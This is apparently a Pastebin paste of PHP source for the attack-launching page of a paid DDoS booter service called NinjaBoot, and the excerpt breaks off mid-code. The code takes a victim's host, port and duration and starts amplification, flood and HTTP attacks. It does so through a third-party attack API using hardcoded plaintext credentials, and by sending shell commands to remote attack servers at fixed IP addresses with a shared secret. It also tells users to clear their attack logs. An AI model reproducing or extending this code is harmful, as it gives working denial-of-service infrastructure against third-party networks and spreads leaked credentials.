Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- session_start();
- ob_start();
- require_once 'includedankshit/db.php';
- require_once 'includedankshit/init.php';
- if (!($user -> LoggedIn()))
- {
- header('location: login.php');
- die();
- }
- if (!($user -> notBanned($odb)))
- {
- header('location: login.php');
- die();
- }
- $SQL = $odb->prepare("SELECT preset FROM `users` WHERE `ID` = :id");
- $SQL->execute(array(":id" =>$_SESSION['ID']));
- if( $SQL->fetchColumn(0) == 1 )
- header('location: /resetpass.php');
- $user->hasMembership($odb);
- $stats->updateActivity($odb, $_SESSION['ID']);
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <meta charset="utf-8">
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
- <meta name="description" content="NinjaBoot is the #1 best booter / stresser on the market. We specialize in powerful layer-4 attacks.">
- <meta name="keywords" content="booter, stresser, ip stresser, ip booter, ddoser, ddos tool, ddos, best booter, best stresser, minecraft ddos, minecraft stresser, minecraft booter, cheap booter, cheap stresser, skype resolver, cloudflare resolver, ssyn, udp, tcp, dns, stress testing">
- <meta name="author" content="Mr. Miyagi">
- <!-- App Favicon -->
- <link rel="apple-touch-icon" sizes="57x57" href="assets/favicon/apple-icon-57x57.png">
- <link rel="apple-touch-icon" sizes="60x60" href="assets/favicon/apple-icon-60x60.png">
- <link rel="apple-touch-icon" sizes="72x72" href="assets/favicon/apple-icon-72x72.png">
- <link rel="apple-touch-icon" sizes="76x76" href="assets/favicon/apple-icon-76x76.png">
- <link rel="apple-touch-icon" sizes="114x114" href="assets/favicon/apple-icon-114x114.png">
- <link rel="apple-touch-icon" sizes="120x120" href="assets/favicon/apple-icon-120x120.png">
- <link rel="apple-touch-icon" sizes="144x144" href="assets/favicon/apple-icon-144x144.png">
- <link rel="apple-touch-icon" sizes="152x152" href="assets/favicon/apple-icon-152x152.png">
- <link rel="apple-touch-icon" sizes="180x180" href="assets/favicon/apple-icon-180x180.png">
- <link rel="icon" type="image/png" sizes="192x192" href="assets/favicon/android-icon-192x192.png">
- <link rel="icon" type="image/png" sizes="32x32" href="assets/favicon/favicon-32x32.png">
- <link rel="icon" type="image/png" sizes="96x96" href="assets/favicon/favicon-96x96.png">
- <link rel="icon" type="image/png" sizes="16x16" href="assets/favicon/favicon-16x16.png">
- <link rel="manifest" href="/manifest.json">
- <meta name="msapplication-TileColor" content="#ffffff">
- <meta name="msapplication-TileImage" content="assets/favicon/ms-icon-144x144.png">
- <meta name="theme-color" content="#ffffff">
- <!-- DataTables -->
- <link href="assets/plugins/datatables/jquery.dataTables.min.css" rel="stylesheet" type="text/css" />
- <link href="assets/plugins/datatables/buttons.bootstrap.min.css" rel="stylesheet" type="text/css" />
- <link href="assets/plugins/datatables/fixedHeader.bootstrap.min.css" rel="stylesheet" type="text/css" />
- <link href="assets/plugins/datatables/responsive.bootstrap.min.css" rel="stylesheet" type="text/css" />
- <link href="assets/plugins/datatables/scroller.bootstrap.min.css" rel="stylesheet" type="text/css" />
- <!-- Custom box css -->
- <link href="assets/plugins/custombox/dist/custombox.min.css" rel="stylesheet">
- <title>NinjaBoot - Attack Hub</title>
- <!--Start of Tawk.to Script-->
- <script type="text/javascript">
- var Tawk_API=Tawk_API||{}, Tawk_LoadStart=new Date();
- (function(){
- var s1=document.createElement("script"),s0=document.getElementsByTagName("script")[0];
- s1.async=true;
- s1.src='https://embed.tawk.to/5946f27d50fd5105d0c81b26/default';
- s1.charset='UTF-8';
- s1.setAttribute('crossorigin','*');
- s0.parentNode.insertBefore(s1,s0);
- Tawk_API = Tawk_API || {};
- Tawk_API.visitor = {
- name : '<?php echo strip_tags(htmlentities($_SESSION['username'])); ?>',
- };
- })();
- </script>
- <!--End of Tawk.to Script-->
- <!-- App css -->
- <link href="assets/css/bootstrap.min.css" rel="stylesheet" type="text/css" />
- <link href="assets/css/core.css" rel="stylesheet" type="text/css" />
- <link href="assets/css/components.css" rel="stylesheet" type="text/css" />
- <link href="assets/css/icons.css" rel="stylesheet" type="text/css" />
- <link href="assets/css/pages.css" rel="stylesheet" type="text/css" />
- <link href="assets/css/menu_dark.css" rel="stylesheet" type="text/css" />
- <link href="assets/css/responsive.css" rel="stylesheet" type="text/css" />
- <!-- HTML5 Shiv and Respond.js IE8 support of HTML5 elements and media queries -->
- <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
- <!--[if lt IE 9]>
- <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
- <script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script>
- <![endif]-->
- <script src="assets/js/modernizr.min.js"></script>
- </head>
- <body class="fixed-left">
- <!-- Begin page -->
- <div id="wrapper">
- <!-- Top Bar Start -->
- <div class="topbar">
- <!-- LOGO -->
- <div class="topbar-left">
- <a href="index.html" class="logo"><span>Ninja<span>Boot</span></span><i class="zmdi zmdi-layers"></i></a>
- </div>
- <!-- Button mobile view to collapse sidebar menu -->
- <div class="navbar navbar-default" role="navigation">
- <div class="container">
- <!-- Page title -->
- <ul class="nav navbar-nav navbar-left">
- <li>
- <button class="button-menu-mobile open-left">
- <i class="zmdi zmdi-menu"></i>
- </button>
- </li>
- <li>
- <h3 class="page-title">Attack Hub - Clear Your Attack Logs Often</h3>
- </li>
- </ul>
- </div><!-- end container -->
- </div><!-- end navbar -->
- </div>
- <!-- Top Bar End -->
- <!-- ========== Left Sidebar Start ========== -->
- <div class="left side-menu">
- <div class="sidebar-inner slimscrollleft">
- <!-- User -->
- <div class="user-box">
- <div class="user-img">
- <img src="assets/images/users/avatar-1.jpg" alt="user-img" title="Mat Helme" class="img-circle img-thumbnail img-responsive">
- <div class="user-status online"><i class="zmdi zmdi-dot-circle"></i></div>
- </div>
- <h5><a href="#"><?php echo strip_tags(htmlentities($_SESSION['username'])); ?></a> </h5>
- <ul class="list-inline">
- <li>
- <a href="profile.php" >
- <i class="zmdi zmdi-settings"></i>
- </a>
- </li>
- <li>
- <a href="logout.php" class="text-custom">
- <i class="zmdi zmdi-power"></i>
- </a>
- </li>
- </ul>
- </div>
- <!-- End User -->
- <!--- Sidemenu -->
- <div id="sidebar-menu">
- <ul>
- <li class="text-muted menu-title">Navigation</li>
- <li>
- <a href="dashboard.php" class="waves-effect"><i class="zmdi zmdi-window-restore"></i> <span> Dashboard </span> </a>
- </li>
- <li>
- <a href="attack.php" class="waves-effect active"><i class="zmdi zmdi-fire"></i> <span> Attack Hub </span> </a>
- </li>
- <li>
- <a href="tools.php" class="waves-effect"><i class="zmdi zmdi-wrench"></i> <span> Tools Hub </span> </a>
- </li>
- <li>
- <a href="purchase.php" class="waves-effect"><i class="zmdi zmdi-shopping-cart"></i> <span> Purchase </span> </a>
- </li>
- <li>
- <a href="refers.php" class="waves-effect"><i class="zmdi zmdi-accounts-add"></i> <span> Referrals </span> </a>
- </li>
- <li class="has_sub">
- <a href="javascript:void(0);" class="waves-effect"><i class="zmdi zmdi-comment-more"></i> <span> Support </span> <span class="menu-arrow"></span></a>
- <ul class="list-unstyled">
- <li><a href="tickets.php">Manage Tickets</a></li>
- <li><a href="faq.php">Frequent Questions</a></li>
- </ul>
- </li>
- <?php
- if ($user -> isAdmin($odb))
- {
- ?>
- <li class="has_sub">
- <a href="javascript:void(0);" class="waves-effect"><i class="zmdi zmdi-coffee"></i> <span> Admin Panel </span> <span class="menu-arrow"></span></a>
- <ul class="list-unstyled">
- <li><a href="acadiasprings/dashboard.php">Dashboard</a></li>
- <li><a href="acadiasprings/blacklist.php">Blacklist</a></li>
- <li><a href="acadiasprings/manage-users.php">Manage Users</a></li>
- <li><a href="acadiasprings/manage-tickets.php">Manage Tickets</a></li>
- <li><a href="acadiasprings/payment-logs.php">Payment Logs</a></li>
- <li><a href="acadiasprings/attack-logs.php">Attack Logs</a></li>
- <li><a href="acadiasprings/attack-manager.php">Attack Manager</a></li>
- </ul>
- </li>
- <?php
- }
- ?>
- <?php
- if ($user -> isMod($odb))
- {
- ?>
- <li class="has_sub">
- <a href="javascript:void(0);" class="waves-effect"><i class="zmdi zmdi-coffee"></i> <span> Mod Panel </span> <span class="menu-arrow"></span></a>
- <ul class="list-unstyled">
- <li><a href="acadiasprings/blacklist.php">Blacklist</a></li>
- <li><a href="acadiasprings/manage-users.php">Manage Users</a></li>
- <li><a href="acadiasprings/manage-tickets.php">Manage Tickets</a></li>
- </ul>
- </li>
- <?php
- }
- ?>
- </ul>
- <div class="clearfix"></div>
- </div>
- <!-- Sidebar -->
- <div class="clearfix"></div>
- </div>
- </div>
- <!-- Left Sidebar End -->
- <!-- ============================================================== -->
- <!-- Start right Content here -->
- <!-- ============================================================== -->
- <div class="content-page">
- <!-- Start content -->
- <div class="content">
- <div class="container">
- <div class="row">
- <?php
- function generateRandomString($length = 10) {
- $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
- $charactersLength = strlen($characters);
- $randomString = '';
- for ($i = 0; $i < $length; $i++) {
- $randomString .= $characters[rand(0, $charactersLength - 1)];
- }
- return $randomString;
- }
- $_CONFIG['l4_methods'] = array('CHARGEN', 'SSDP', 'LAG', 'ESSYN', 'VSE', 'OVH', 'NTP', 'DNS', 'DOMINATE', 'STCP', 'ABUSE', 'LDAP', 'SUDP', 'XACK', 'OVH');
- $_CONFIG['l7_methods'] = array('GET', 'JOOMLA', 'HTTP');
- $_CONFIG['vip_plans'] = array('12', '13', '14', '15', '69');
- $port_options = array("options" => array("min_range" => 1, "max_range" => 65535));
- if(isset($_POST['attackBtn'])){
- $host = escapeshellcmd(strip_tags(htmlentities($_POST['host'])));
- $port = intval($_POST['port']);
- $network = intval($_POST['network']);
- $time = intval($_POST['time']);
- $token = generateRandomString();
- $method = strip_tags(htmlentities($_POST['method']));
- $SQLGetTime = $odb->prepare("SELECT `plans`.`mbt` FROM `plans` LEFT JOIN `users` ON `users`.`membership` = `plans`.`ID` WHERE `users`.`ID` = :id");
- $SQLGetTime->execute(array(':id' => $_SESSION['ID']));
- $maxTime = $SQLGetTime -> fetchColumn(0);
- $SQLGrabVIP = $odb->prepare("SELECT `membership` FROM `users` WHERE `ID` = :id");
- $SQLGrabVIP->execute(array(':id' => $_SESSION['ID']));
- $SQLGrab = $SQLGrabVIP -> fetchColumn(0);
- if(empty($host) || empty($time) || empty($port) || empty($method)){
- echo $design->alert('danger', 'Error', 'Please fill in all fields!');
- } else if (!is_numeric($time)) {
- echo $design->alert('danger', 'Error', 'Invalid Time! (1 - '.$maxTime.')');
- } else if (strpos($time, "-") !== false) {
- echo $design->alert('danger', 'Error', 'Invalid Time (1 - '.$maxTime.')');
- } else if (!filter_var($host, FILTER_VALIDATE_IP) && in_array($method, $_CONFIG['l4_methods'])) {
- echo $design->alert('danger', 'Error', 'Invalid IPv4 Host! (8.8.8.8)');
- } else if (!filter_var($host, FILTER_VALIDATE_URL) && in_array($method, $_CONFIG['l7_methods'])) {
- echo $design->alert('danger', 'Error', 'Invalid URL Host! (http://example.tld/)');
- } else if (!filter_var($port, FILTER_VALIDATE_INT, $port_options)) {
- echo $design->alert('danger', 'Error', 'Invalid Port Range! (1 - 65535)');
- } else if (!in_array($method, $_CONFIG['l4_methods']) && !in_array($method, $_CONFIG['l7_methods'])) {
- echo $design->alert('danger', 'Error', 'Invalid Method!');
- } else if (!in_array($method, $_CONFIG['l4_methods']) && in_array($method, $_CONFIG['l7_methods']) && strpos($host, ".gov")) {
- echo $design->alert('danger', 'Error', 'Blacklisted Host!');
- } else if (!in_array($method, $_CONFIG['l4_methods']) && in_array($method, $_CONFIG['l7_methods']) && strpos($host, ".il")) {
- echo $design->alert('danger', 'Error', 'Blacklisted Host!');
- } else if ($network == 2 && !in_array($SQLGrab, $_CONFIG['vip_plans'])) {
- echo $design->alert('danger', 'Error', 'Nice Try!');
- } else {
- $SQLCheckBlacklist = $odb->prepare("SELECT COUNT(*) FROM `blacklist` WHERE `IP` = :host");
- $SQLCheckBlacklist->execute(array(':host' => $host));
- $countBlacklist = $SQLCheckBlacklist -> fetchColumn(0);
- if($countBlacklist != 0){
- echo $design->alert('danger', 'Error', 'Blacklisted Host!');
- } else {
- $checkRunningSQL = $odb->prepare("SELECT COUNT(*) FROM `logs` WHERE `user` = :username AND `time` + `date` > UNIX_TIMESTAMP() AND `stopped` = '0' ");
- $checkRunningSQL->execute(array(':username' => $_SESSION['username']));
- $countRunning = $checkRunningSQL -> fetchColumn(0);
- $checkConSQL = $odb->prepare("SELECT SUM(`conc`) FROM `plans` LEFT JOIN `users` ON `users`.`membership` = `plans`.`ID` WHERE `users`.`ID` = :id");
- $checkConSQL->execute(array(':id' => $_SESSION['ID']));
- $maxCon = $checkConSQL -> fetchColumn(0);
- if($countRunning < $maxCon){
- if(!($time > $maxTime)){
- $username1 = $_SESSION['username'];
- if ($method == "HTTP") {
- $curl = curl_init();
- curl_setopt_array($curl, array(
- CURLOPT_RETURNTRANSFER => 1,
- CURLOPT_URL => "http://api.buyapi.ninja/?host=$host&method=http&port=$port&time=$time&username=Saint4145&password=ZQ2yj[!vfx.s5jJ?",
- CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0',
- CURLOPT_CONNECTTIMEOUT => 5
- ));
- curl_exec($curl);
- curl_close($curl);
- $insertLogSQL = $odb ->prepare("INSERT INTO `logs` VALUES(NULL, :user, :token, :ip, :port, :network, :time, :method, UNIX_TIMESTAMP(), '0', :server_id)");
- $insertLogSQL->execute(array(':user' => $username1, ':token' => $token, ':ip' => $host, ':port' => $port, ':network' => $network, ':time' => $time, ':method' => $method, ':server_id' => '0'));
- echo $design->alert('success', 'Success', 'Attack has been started on '.$host.':'.$port.' for '.$time.' seconds!');
- } else if ($method == "OVH") {
- $curl = curl_init();
- curl_setopt_array($curl, array(
- CURLOPT_RETURNTRANSFER => 1,
- CURLOPT_URL => "http://api.buyapi.ninja/?host=$host&method=udpplain&port=$port&time=$time&username=Saint4145&password=ZQ2yj[!vfx.s5jJ?",
- CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0',
- CURLOPT_CONNECTTIMEOUT => 5
- ));
- curl_exec($curl);
- curl_close($curl);
- $insertLogSQL = $odb ->prepare("INSERT INTO `logs` VALUES(NULL, :user, :token, :ip, :port, :network, :time, :method, UNIX_TIMESTAMP(), '0', :server_id)");
- $insertLogSQL->execute(array(':user' => $username1, ':token' => $token, ':ip' => $host, ':port' => $port, ':network' => $network, ':time' => $time, ':method' => $method, ':server_id' => '0'));
- echo $design->alert('success', 'Success', 'Attack has been started on '.$host.':'.$port.' for '.$time.' seconds!');
- } else if ($method == "JOOMLA") {
- $curl = curl_init();
- curl_setopt_array($curl, array(
- CURLOPT_RETURNTRANSFER => 1,
- CURLOPT_URL => "http://api.buyapi.ninja/?host=$host&method=Joomla&port=$port&time=$time&username=Saint4145&password=ZQ2yj[!vfx.s5jJ?",
- CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0',
- CURLOPT_CONNECTTIMEOUT => 5
- ));
- curl_exec($curl);
- curl_close($curl);
- $insertLogSQL = $odb ->prepare("INSERT INTO `logs` VALUES(NULL, :user, :token, :ip, :port, :network, :time, :method, UNIX_TIMESTAMP(), '0', :server_id)");
- $insertLogSQL->execute(array(':user' => $username1, ':token' => $token, ':ip' => $host, ':port' => $port, ':network' => $network, ':time' => $time, ':method' => $method, ':server_id' => '0'));
- echo $design->alert('success', 'Success', 'Attack has been started on '.$host.':'.$port.' for '.$time.' seconds!');
- } else {
- $servers = array();
- $SQLGetAPIs = $odb -> query("SELECT * FROM `servers`");
- while($info = $SQLGetAPIs -> fetch(PDO::FETCH_ASSOC)) {
- array_push($servers, $info['last_used']);
- }
- $getServer = min($servers);
- $getserverSQL = $odb -> prepare("SELECT * FROM `servers` WHERE `last_used` = :last_used LIMIT 1");
- $getserverSQL -> execute(array(':last_used' => $getServer));
- $get_server = $getserverSQL -> fetch();
- $SQLUpdate = $odb -> prepare("UPDATE `servers` SET `last_used` = :last_used WHERE `id` = :id");
- $SQLUpdate -> execute(array(':last_used' => time(), ':id' => $get_server['id']));
- if ($method == "ESSYN" OR $method == "DOMINATE" OR $method == "STCP") {
- $get_command = "screen -dmS $username1-$token ./ESSYN $host $port 5 550000 $time";
- } else if ($method == "VSE") {
- $get_command = "screen -dmS $username1-$token ./VSE $host 5 550000 $time";
- } else if ($method == "LAG") {
- $get_command = "screen -dmS $username1-$token ./NTP $host ntp.txt 2 50000 $time";
- } else if ($method == "NTP") {
- $get_command = "screen -dmS $username1-$token ./NTP $host ntp.txt 5 550000 $time";
- } else if ($method == "XACK") {
- $get_command = "screen -dmS $username1-$token ./XACK $host $port 5 550000 $time";
- } else if ($method == "DNS") {
- $get_command = "screen -dmS $username1-$token ./DNS $host $port dns.txt 4 $time";
- } else if ($method == "SUDP") {
- $get_command = "screen -dmS $username1-$token ./SUDP $host 5 6 $time";
- } else if ($method == "LDAP") {
- $get_command = "screen -dmS $username1-$token ./LDAP $host $port ldap.txt 4 550000 $time";
- } else if ($method == "SSDP") {
- $get_command = "screen -dmS $username1-$token ./SSDP $host $port ssdp.txt 5 550000 $time";
- } else {
- $get_command = "screen -dmS $username1-$token ./DNS $host $port dns.txt 4 $time";
- }
- if ($network == 1) {
- $socket = socket_create(AF_INET, SOCK_STREAM, 0);
- $result = socket_connect($socket, $get_server['server_ip'], 5051);
- socket_write($socket, "UziCaNnNSuCcNuTS1322|$get_command");
- socket_close($socket);
- } else if ($network == 2) {
- $socket = socket_create(AF_INET, SOCK_STREAM, 0);
- $result = socket_connect($socket, '185.191.239.194', 5051);
- socket_write($socket, "UziCaNnNSuCcNuTS1322|$get_command");
- socket_close($socket);
- $socket = socket_create(AF_INET, SOCK_STREAM, 0);
- $result = socket_connect($socket, '91.212.150.239', 5051);
- socket_write($socket, "UziCaNnNSuCcNuTS1322|$get_command");
- socket_close($socket);
- }
- $insertLogSQL = $odb ->prepare("INSERT INTO `logs` VALUES(NULL, :user, :token, :ip, :port, :network, :time, :method, UNIX_TIMESTAMP(), '0', :server_id)");
- $insertLogSQL->execute(array(':user' => $_SESSION['username'], ':token' => $token, ':ip' => $host, ':port' => $port, ':network' => $network, ':time' => $time, ':method' => $method, ':server_id' => $get_server['id']));
- if ($network == 1) {
- echo $design->alert('success', 'Success', 'Attack has been started on '.$host.':'.$port.' for '.$time.' seconds using Attack Server '.$get_server['name'].'!');
- } else if ($network == 2) {
- echo $design->alert('success', 'Success', 'Attack has been started on '.$host.':'.$port.' for '.$time.' seconds using all Attack Servers');
- }
- }
- } else {
- echo $design->alert('danger', 'Error', 'Your maximum boot time is '.$maxTime.'!');
- }
- } else {
- echo $design->alert('danger', 'Error', 'No more concurrents available, Consider upgrading!');
- }
- }
- }
- }
- ?>
- <?php
- if(isset($_POST['stopBtn'])) {
- $attackID = intval($_POST['attackID']);
- $SQLSelect = $odb -> prepare("SELECT * FROM `logs` WHERE `id` = :id AND `stopped` = '0' LIMIT 1");
- $SQLSelect -> execute(array(':id' => $attackID));
- while ($show = $SQLSelect -> fetch(PDO::FETCH_ASSOC))
- {
- $host = $show['ip'];
- $port = $show['port'];
- $time = $show['time'];
- $username1 = $_SESSION['username'];
- $token = $show['token'];
- $network2 = $show['network'];
- $methodcheck = $show['method'];
- $server_id = $show['server_id'];
- $odb->query("UPDATE `logs` SET `stopped` = '1' WHERE `id` = '".$attackID."'");
- if ($methodcheck == "HTTP" || $methodcheck == "OVH") {
- $curl = curl_init();
- curl_setopt_array($curl, array(
- CURLOPT_RETURNTRANSFER => 1,
- CURLOPT_URL => "http://api.buyapi.ninja/?host=$host&method=stop&port=$port&time=$time&username=Saint4145&password=ZQ2yj[!vfx.s5jJ?",
- CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0',
- CURLOPT_CONNECTTIMEOUT => 5
- ));
- curl_exec($curl);
- curl_close($curl);
- echo $design->alert('success', 'Success', 'Attack has been stopped!');
- } else if ($methodcheck == "JOOMLA") {
- $curl = curl_init();
- curl_setopt_array($curl, array(
- CURLOPT_RETURNTRANSFER => 1,
- CURLOPT_URL => "http://api.buyapi.ninja/?host=$host&method=stop&port=$port&time=$time&username=Saint4145&password=ZQ2yj[!vfx.s5jJ?",
- CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0',
- CURLOPT_CONNECTTIMEOUT => 5
- ));
- curl_exec($curl);
- curl_close($curl);
- echo $design->alert('success', 'Success', 'Attack has been stopped!');
- } else {
- $getserverSQL = $odb -> prepare("SELECT * FROM `servers` WHERE `id` = :id LIMIT 1");
- $getserverSQL -> execute(array(':id' => $server_id));
- $get_server = $getserverSQL -> fetch();
- if ($network2 == 1) {
- $socket = socket_create(AF_INET, SOCK_STREAM, 0);
- $result = socket_connect($socket, $get_server['server_ip'], 5051);
- socket_write($socket, "UziCaNnNSuCcNuTS1322|pkill -f $username1-$token");
- socket_close($socket);
- } else if ($network2 == 2) {
- $socket = socket_create(AF_INET, SOCK_STREAM, 0);
- $result = socket_connect($socket, '185.191.239.194', 5051);
- socket_write($socket, "UziCaNnNSuCcNuTS1322|pkill -f $username1-$token");
- socket_close($socket);
- $socket = socket_create(AF_INET, SOCK_STREAM, 0);
- $result = socket_connect($socket, '91.212.150.239 ', 5051);
- socket_write($socket, "UziCaNnNSuCcNuTS1322|pkill -f $username1-$token");
- socket_close($socket);
- }
- echo $design->alert('success', 'Success', 'Attack has been stopped!');
- }
- }
- }
- ?>
- <?php
- function generateRandomString2($length = 10) {
- $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
- $charactersLength = strlen($characters);
- $randomString = '';
- for ($i = 0; $i < $length; $i++) {
- $randomString .= $characters[rand(0, $charactersLength - 1)];
- }
- return $randomString;
- }
- if(isset($_POST['renewBtn'])) {
- $checkRunningSQL = $odb->prepare("SELECT COUNT(*) FROM `logs` WHERE `user` = :username AND `time` + `date` > UNIX_TIMESTAMP() AND `stopped` = '0' ");
- $checkRunningSQL->execute(array(':username' => $_SESSION['username']));
- $countRunning = $checkRunningSQL -> fetchColumn(0);
- $checkConSQL = $odb->prepare("SELECT SUM(`conc`) FROM `plans` LEFT JOIN `users` ON `users`.`membership` = `plans`.`ID` WHERE `users`.`ID` = :id");
- $checkConSQL->execute(array(':id' => $_SESSION['ID']));
- $maxCon = $checkConSQL -> fetchColumn(0);
- if($countRunning < $maxCon){
- $SQLGetTime = $odb->prepare("SELECT `plans`.`mbt` FROM `plans` LEFT JOIN `users` ON `users`.`membership` = `plans`.`ID` WHERE `users`.`ID` = :id");
- $SQLGetTime->execute(array(':id' => $_SESSION['ID']));
- $maxTime = $SQLGetTime -> fetchColumn(0);
- if(!($time > $maxTime)) {
- $attackID = intval($_POST['attackID']);
- $SQLSelect = $odb -> prepare("SELECT * FROM `logs` WHERE `id` = :id LIMIT 1");
- $SQLSelect -> execute(array(':id' => $attackID));
- while ($show = $SQLSelect -> fetch(PDO::FETCH_ASSOC))
- {
- $host = $show['ip'];
- $port = $show['port'];
- $time = $show['time'];
- $network = $show['network'];
- $method = $show['method'];
- $username2 = $_SESSION['username'];
- $tokenfuck = strip_tags(htmlentities(generateRandomString2()));
- $SQLCheckMatch2 = $odb->prepare("SELECT COUNT(*) FROM `logs` WHERE `ip` = :host AND `user` = :user AND `date` + `time` > UNIX_TIMESTAMP() AND `stopped` = '0'");
- $SQLCheckMatch2->execute(array(':host' => $host, ':user' => $_SESSION['username']));
- $SQLDank2 = $SQLCheckMatch2 -> fetchColumn(0);
- if ($SQLDank2 < 10){
- if($method == "HTTP") {
- $curl = curl_init();
- curl_setopt_array($curl, array(
- CURLOPT_RETURNTRANSFER => 1,
- CURLOPT_URL => "http://api.buyapi.ninja/?host=$host&method=http&port=$port&time=$time&username=Saint4145&password=ZQ2yj[!vfx.s5jJ?",
- CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0',
- CURLOPT_CONNECTTIMEOUT => 5
- ));
- curl_exec($curl);
- curl_close($curl);
- $insertLogSQL = $odb ->prepare("INSERT INTO `logs` VALUES(NULL, :user, :token, :ip, :port, :network, :time, :method, UNIX_TIMESTAMP(), '0', :server_id)");
- $insertLogSQL->execute(array(':user' => $username2, ':token' => $tokenfuck, ':ip' => $host, ':port' => $port, ':network' => $network, ':time' => $time, ':method' => $method, ':server_id' => '0'));
- echo $design->alert('success', 'Success', 'Attack has been started on '.$host.':'.$port.' for '.$time.' seconds!');
- }
- else if($method == "OVH") {
- $curl = curl_init();
- curl_setopt_array($curl, array(
- CURLOPT_RETURNTRANSFER => 1,
- CURLOPT_URL => "http://api.buyapi.ninja/?host=$host&method=udpplain&port=$port&time=$time&username=Saint4145&password=ZQ2yj[!vfx.s5jJ?",
- CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0',
- CURLOPT_CONNECTTIMEOUT => 5
- ));
- curl_exec($curl);
- curl_close($curl);
- $insertLogSQL = $odb ->prepare("INSERT INTO `logs` VALUES(NULL, :user, :token, :ip, :port, :network, :time, :method, UNIX_TIMESTAMP(), '0', :server_id)");
- $insertLogSQL->execute(array(':user' => $username2, ':token' => $tokenfuck, ':ip' => $host, ':port' => $port, ':network' => $network, ':time' => $time, ':method' => $method, ':server_id' => '0'));
- echo $design->alert('success', 'Success', 'Attack has been started on '.$host.':'.$port.' for '.$time.' seconds!');
- }
- else if ($method == "JOOMLA") {
- $curl = curl_init();
- curl_setopt_array($curl, array(
- CURLOPT_RETURNTRANSFER => 1,
- CURLOPT_URL => "http://api.buyapi.ninja/?host=$host&method=Joomla&port=$port&time=$time&username=Saint4145&password=ZQ2yj[!vfx.s5jJ?",
- CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0',
- CURLOPT_CONNECTTIMEOUT => 5
- ));
- curl_exec($curl);
- curl_close($curl);
- $insertLogSQL = $odb ->prepare("INSERT INTO `logs` VALUES(NULL, :user, :token, :ip, :port, :network, :time, :method, UNIX_TIMESTAMP(), '0', :server_id)");
- $insertLogSQL->execute(array(':user' => $username2, ':token' => $tokenfuck, ':ip' => $host, ':port' => $port, ':network' => $network, ':time' => $time, ':method' => $method, ':server_id' => '0'));
- echo $design->alert('success', 'Success', 'Attack has been started on '.$host.':'.$port.' for '.$time.' seconds!');
- } else {
- $servers = array();
- $SQLGetAPIs = $odb -> query("SELECT * FROM `servers`");
- while($info = $SQLGetAPIs -> fetch(PDO::FETCH_ASSOC)) {
- array_push($servers, $info['last_used']);
- }
- $getServer = min($servers);
- $getserverSQL = $odb -> prepare("SELECT * FROM `servers` WHERE `last_used` = :last_used LIMIT 1");
- $getserverSQL -> execute(array(':last_used' => $getServer));
- $get_server = $getserverSQL -> fetch();
- $SQLUpdate = $odb -> prepare("UPDATE `servers` SET `last_used` = :last_used WHERE `id` = :id");
- $SQLUpdate -> execute(array(':last_used' => time(), ':id' => $get_server['id']));
- if ($method == "ESSYN" OR $method == "DOMINATE" OR $method == "STCP") {
- $get_command = "screen -dmS $username2-$tokenfuck ./ESSYN $host $port 5 550000 $time";
- } else if ($method == "VSE") {
- $get_command = "screen -dmS $username2-$tokenfuck ./VSE $host 5 550000 $time";
- } else if ($method == "LAG") {
- $get_command = "screen -dmS $username2-$tokenfuck ./NTP $host ntp.txt 2 50000 $time";
- } else if ($method == "NTP") {
- $get_command = "screen -dmS $username2-$tokenfuck ./NTP $host ntp.txt 5 550000 $time";
- } else if ($method == "XACK") {
- $get_command = "screen -dmS $username2-$tokenfuck ./XACK $host $port 5 550000 $time";
- } else if ($method == "DNS") {
- $get_command = "screen -dmS $username2-$tokenfuck ./DNS $host $port dns.txt 4 $time";
- } else if ($method == "SUDP") {
- $get_command = "screen -dmS $username2-$tokenfuck ./SUDP $host 5 6 $time";
- } else if ($method == "LDAP") {
- $get_command = "screen -dmS $username2-$tokenfuck ./LDAP $host $port ldap.txt 4 550000 $time";
- } else if ($method == "SSDP") {
- $get_command = "screen -dmS $username2-$tokenfuck ./SSDP $host $port ssdp.txt 5 550000 $time";
- } else {
- $get_command = "screen -dmS $username2-$tokenfuck ./DNS $host $port dns.txt 4 $time";
- }
- if ($network == 1) {
- $socket = socket_create(AF_INET, SOCK_STREAM, 0);
- $result = socket_connect($socket, $get_server['server_ip'], 5051);
- socket_write($socket, "UziCaNnNSuCcNuTS1322|$get_command");
- socket_close($socket);
- } else if ($network == 2) {
- $socket = socket_create(AF_INET, SOCK_STREAM, 0);
- $result = socket_connect($socket, '185.191.239.194', 5051);
- socket_write($socket, "UziCaNnNSuCcNuTS1322|$get_command");
- socket_close($socket);
- $socket = socket_create(AF_INET, SOCK_STREAM, 0);
- $result = socket_connect($socket, '91.212.150.239', 5051);
- socket_write($socket, "UziCaNnNSuCcNuTS1322|$get_command");
- socket_close($socket);
- }
- $insertLogSQL = $odb ->prepare("INSERT INTO `logs` VALUES(NULL, :user, :token, :ip, :port, :network, :time, :method, UNIX_TIMESTAMP(), '0', :server_id)");
- $insertLogSQL->execute(array(':user' => $username2, ':token' => $tokenfuck, ':ip' => $host, ':port' => $port, ':network' => $network, ':time' => $time, ':method' => $method, ':server_id' => $get_server['id']));
- if ($network == 1) {
